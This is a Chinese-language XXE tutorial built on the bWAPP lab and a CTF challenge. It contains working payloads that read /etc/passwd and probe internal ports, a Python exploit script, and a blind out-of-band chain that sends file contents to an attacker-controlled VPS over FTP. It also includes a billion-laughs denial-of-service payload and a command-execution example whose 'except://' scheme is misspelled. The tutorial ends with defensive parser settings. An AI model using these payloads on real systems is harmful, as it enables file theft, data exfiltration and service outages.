[Web安全] XXE漏洞攻防學習(中)
0x00、XXE漏洞攻擊實例
攻擊思路:
1. 引用外部實體遠程文件讀取
2. Blind XXE
3. Dos
0x01、外部實體引用,有回顯
實驗操作平臺:bWAPP平臺上的XXE題目
題目:
進行抓包,點擊Any bugs?按鈕,抓包如下:
可以看到xxe-1.php頁面以POST方式向xxe-2.php頁面傳輸了XML數據。
既然是XML數據,我們就可以自己增加一個惡意外部實體,然後在原本的XML數據中進行實體調用,來進行xxe攻擊
獲取系統密碼文件 payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>
讀取網站目錄任意文件 payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "http://127.0.0.1/bWAPP/robots.txt">
]>
<reset><login>&xxe;</ login><secret>Any bugs?</secret></reset>
為了加深理解,查看xxe-2.php的源碼
主要的代碼:
可以看到這裏直接用了“simplexml_load_string()”函數。
simplexml_load_string()函數的作用是把XML字符串載入對象中,函數獲取xml內容,並沒有進行任何的過濾。$login獲取login標簽裏的內容,最後拼接到$message並顯示在屏幕上
內網端口檢測 payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note[ <!ENTITY xxe SYSTEM "http://127.0.0.1:80"> ]> <reset><login>&xxe;</login><secret>Any bugs?</secret></reset>
若80端口開放,回顯如下的報錯信息
若端口不開放,則顯示如下信息:
利用python寫了一個簡單的exp,進行測試,如下:
#coding=utf-8
import requests
if __name__ == ‘__main__‘:
payload = raw_input(‘輸入你想利用xxe得到的資源,如file:///etc/passwd\npayload:‘.decode(‘utf-8‘).encode(‘gbk‘))
url = ‘http://192.168.31.195/bWAPP/xxe-2.php‘
headers = {‘Content-type‘:‘text/xml‘}
cookies = {‘PHPSESSID‘:‘4e2c24a64c85a86bc69b09736828af9b‘,‘security_level‘:‘0‘}
xml = ‘<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE copyright[<!ENTITY test SYSTEM "‘+ payload +‘">]><reset><login>&test;</login><secret>login</secret></reset>‘
r = requests.post(url,headers=headers,cookies=cookies,data=xml)
print ‘xxe攻擊返回結果:‘.decode(‘utf-8‘).encode(‘gbk‘)
print r.content
運行結果:
我們再來學習一下這個xxe挑戰的中級和高級的源碼
// Disables XML external entities. Doesn‘t work with older PHP versions! // libxml_disable_entity_loader(true); $xml = simplexml_load_string($body); // Debugging // print_r($xml); $login = $_SESSION["login"]; $secret = $xml->secret; if($secret) { $secret = mysqli_real_escape_string($link, $secret); $sql = "UPDATE users SET secret = ‘" . $secret . "‘ WHERE login = ‘" . $login . "‘"; // Debugging // echo $sql; $recordset = $link->query($sql); if(!$recordset) { die("Connect Error: " . $link->error); } $message = $login . "‘s secret has been reset!"; } else { $message = "An error occured!"; }
分析可以看出,$login現在是直接在SEESION裏面取,不再利用xml進行提交。並且使用了mysqli_real_escape_string()函數對$secret進行了特殊字符轉義
實例二:
jarvisoj上的一道題目API調用
這道題的題目說明是 請設法獲得目標機器/home/ctf/flag.txt中的flag值。
進入題目 http://web.jarvisoj.com:9882/ 發現一個輸入框,我們對其進行抓包
是一個json數據提交,修改數據發現可以被解析
這是一道xxe的題,怎麽獲取flag?只要將json處改為xml,然後提交xml文檔即可
0x02、Blind XXE
如果服務器沒有回顯,只能使用Blind XXE漏洞來構建一條外帶數據(OOB)通道來讀取數據。
所以,在沒有回顯的情況下如何來利用XXE
思路:
1. 客戶端發送payload 1給web服務器
2. web服務器向vps獲取惡意DTD,並執行文件讀取payload2
3. web服務器帶著回顯結果訪問VPS上特定的FTP或者HTTP
4. 通過VPS獲得回顯(nc監聽端口)
本地客戶端(payload 1 )
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://vps/test.xml"> %remote;]>
由於web端會解碼,所以需要我們先html實體編碼一次
payload 2 也就是test.xml的內容(VPS)
<!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % int "<!ENTITY % trick SYSTEM ‘ftp://VPS:21/%payload;‘>"> %int; %trick;
這個是先將SYSTEM的file協議讀取到的內容賦值給參數實體%payload,第二步是一個實體嵌套,trick是遠程訪問ftp協議所攜帶的內容
0x03、DOS
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
這個的原理就是遞歸引用,lol 實體具體還有 “lol” 字符串,然後一個 lol2 實體引用了 10 次 lol 實體,一個 lol3 實體引用了 10 次 lol2 實體,此時一個 lol3 實體就含有 10^2 個 “lol” 了,以此類推,lol9 實體含有 10^8 個 “lol” 字符串,最後再引用lol9。
0x04、命令執行
php環境下,xml命令執行需要php裝有expect擴展,但是該擴展默認沒有安裝,所以一般來說,比較難利用,這裏就只給出代碼了
<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "except://ls"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
0x05、防禦XXE
使用開發語言提供的禁用外部實體的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
Python:
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
過濾用戶提供的XML數據
過濾關鍵字:<\!DOCTYPE和<\!ENTITY,或者SYSTEM和PUBLIC。
不允許XML中含有自己定義的DTD
[Web安全] XXE漏洞攻防學習(中)